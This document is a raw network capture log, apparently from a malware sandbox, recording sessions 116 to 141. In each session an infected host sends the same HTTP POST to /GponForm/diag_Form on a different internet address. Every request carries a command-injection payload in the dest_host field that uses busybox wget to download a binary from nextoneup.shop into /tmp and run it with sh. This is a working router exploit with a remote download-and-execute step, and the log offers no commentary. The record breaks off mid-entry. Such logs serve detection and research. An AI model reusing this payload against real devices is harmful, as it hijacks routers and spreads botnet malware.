116	192.168.2.23	33990	94.139.151.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109478951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	59504	212.139.85.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109524965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	34688	210.145.245.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109596968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	40714	37.101.160.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109632969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	60418	178.132.220.5	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109671116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	41554	202.65.109.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109678030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	47408	202.169.32.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109824896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	47554	212.235.121.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109868050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	53128	94.109.91.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109946012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	42408	210.124.158.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109968901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	60266	109.121.31.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109971046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	37366	148.199.41.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110028982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	40480	5.175.127.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110043049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	41992	109.228.251.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110124111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	44738	212.146.2.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110126972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	60210	178.161.104.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110156059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	44036	123.124.229.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110369921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	38262	2.39.27.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110369921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	59970	123.207.89.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110395908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	41552	117.46.212.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110439062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	35630	178.3.15.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110482931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	38072	5.32.1.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110553026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	50482	123.18.197.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110574007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	35616	123.18.217.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110630035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	37420	117.37.122.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110652924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	56254	5.22.192.44	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110816956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 